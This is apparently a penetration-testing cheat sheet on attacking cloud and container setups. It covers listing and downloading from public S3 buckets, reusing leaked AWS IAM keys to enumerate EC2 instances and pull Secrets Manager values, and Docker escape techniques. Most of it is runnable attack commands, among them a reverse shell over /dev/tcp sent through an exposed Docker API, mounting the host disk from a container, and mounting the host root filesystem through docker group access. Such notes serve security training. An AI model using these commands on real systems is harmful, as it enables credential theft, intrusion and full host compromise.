Amazon S3 Buckets

Generally, Buckets are storage areas where you can store objects (images,files,videos,etc.). AWS allows for two kinds of permissions on a bucket:

- Anyone: It means anyone outside AWS can list the bucket"s contents or download objects.
- Authenticated Users: It means only AWS users can list the bucket"s contents or download objects.
  You can configure permissions read and write for buckets and objects separately.

Retrieving the contents of a bucket

```
aws s3 ls s3://irs-form-990/ --no-sign-request
```

--no-sign-request allows accessing resources without signing in.
The other option is using a curl request to bucket

```
curl http://irs-form-990.s3.amazonaws.com/
```

Downloading resources from AWS buckets

```
curl http://irs-form-
990.s3.amazonaws.com/201101319349101615_pu
blic.xml
```

Or using the AWS CLI

```
aws s3 cp s3://irs-form-
990/201101319349101615_public.xml . --no-
sign-request
```

Amazon IAM

Identity and access mangement refers to the signed requests sent to AWS. These signed requests are signed with IAM Access keys that consist of Key ID [beings with AKIA and are 20 characters long] which is usually considered as a username and Secret Key [40 characters long].
The issue with these credentials is that when an attacker is able to locate them they can create a new profile with these credentials and send requests using these credentials.

Adding credential keys to a new profile

```
aws configure --profile PROFILENAME
```

Listing buckets in the new account using the newly added profile

```
aws s3 ls --profile PROFILENAME
```

Finding an account ID given you got the access key

```
aws sts get-access-key-info --access-key-id AKIAEXAMPLE --profile [profile-name]
```

Finding the username

```
aws sts get-caller-identity --profile PROFILENAME
```

Listing EC2 instances belonging to an account

```
aws ec2 describe-instances --output text -
-profile PROFILENAME
```

Listing EC2 instances belonging to an account with region specified.

```
aws ec2 describe-instances --output text -
-region us-east-1 --profile PROFILENAME
```

Retriving the secrets or the credential manager contents of a profile

```
aws secretsmanager list-secrets --profile
[profile-name]
```

Retriving a specific secret value from the credential manager

```
aws secretsmanager get-secret-value --
secret-id [nameofthesecret] --profile
[profile-name]
```

Retriving a specific secret value from the credential manager with region specified

```
aws secretsmanager get-secret-value --
secret-id [nameofthesecret] --profile
[profile-name] --region
```

Dockers Exploitation and Escape Strategies

Dockers containers are used for virtualization purspoes for speed, flexibility and security. They are much like virtual machines in that they are run separately but with the exception that dockers use the same kernel of the main OS in addition to the same RAM and CPU resources.

Docker containers escape strategies

1- Look for ssh keys in [/.ssh]. Most probably you can use them to open another SSH session with another user on the main OS.
2- Explore the configuration of the current docker by displaying the content of [Dockerfile] and

[Start.sh]. These contain valuable information about the docker ip address, current network,etc. This may reveal other dockers on separate networks to which you may manage to escape.
3- If you discovered other containers on other networks then you ssh local and remote portforwarding to interact with the containers on networks you can't reach.
4- Try one of the exploitation/privilege escalation methods below

Dockers in AWS Elastic Container Registry [ECR]

Typically ECR is a registry for public and private container images. The format of container image is a [.tar] extension. Containers are much like virtual machines and Docker containers is the term used to refer to containers in Docker technology. As a pentester, you are interested in enumerating these container images for securtiy issues. These docker images are referrenced either by their [tag] or [Image ID]
To list docker images in a specific machine

```
docker images
```

Retriving container images from a public URL

Container images are normally stored in galleries in AWS ECR so a URL have the below form [gallery.public.ecr.aws/name/name2:latest]. So pulling container images can be achieved with the below command

```
docker pull
public.ecr.aws/name/name2:latest
```

After you have pulled the image, you can run the container

```
docker run -it
public.ecr.aws/name/name2:latest
```

The result of the above command is a [shell] inside the container where you can start the enumeration

Saving the container image as [.tar] file

```
docker save -o image.tar
public.ecr.aws/name/name2:latest
```

Enumerating the docker image

Inside every container image is a [manifest.json] file which represnts the container image layers. It also contains configuration information that were used when the container image was first built.we can view this file using the [jq] tool for neat printing of its contents. Make sure you are inside the directory to which you have extracted the image container file [.tar]

```
apt install jq -y
cat manifest.json | jq
```

You can inspect other configuration files you found in the manifest.json using the same method with [jq]. Other configuration files can be found at the same directory to which you have extracted the [.tar] file.

Note: From a pentesting point of view we are interested in enumerating the layers of the container image as they may contain sensitive tokens and secrets inside their configs.

Container layers are found in sub-directories in the same directory to which you have extracted the .tar image

Retriving potential secrets from environment variables

Once inside the container, you can enumerate values stored inside the environment variable as it may contain secrets.

```
printenv
```

Local Dockers

These type dockers you find when you first get a foothold on the machine. Usually the below methods are used to escalate your privileges.

Writable docker socket

We check if /var/run/docker.sock is writable and by whom. Also we check the running processes and see if the docker is listening on a port.
The aim is to escape the docker and dump the root

file system

listing docker images

```
docker -H tcp://localhost:8080 container
ls
```

executing commands

```
docker -H tcp://localhost:8080 container
exec sweettoothinc whoami
```

executing reverse shell

```
docker -H tcp://localhost:8080 container
exec sweettoothinc bash -i >&
/dev/tcp/$MY_IP/9999 0>&1
```

Escaping docker containers

After receiving a docker container shell, we aim to escape it by mounting the partition that hosts the file system to a directory we control

```
df -h
mkdir /mnt/tmp
mount /dev/xvda1 /mnt/tmp
```

```
cd /mnt/tmp
ls
```

User part of the docker group

If you managed to get access to a docker container and you issued the [id] command you may see the output below

Once the above is confirmed, we can manage to dump the content of any directory on the file system. First we list the current docker images

```
docker images
```

Then we pickup one and use the below command to mount the root file system.

```
docker run -v /:/mydirectory -i -t
[docker-image-name]
```

Make sure to change the [mydirectory] to a name of your choice and [docker-image-name] to the docker image you picked up.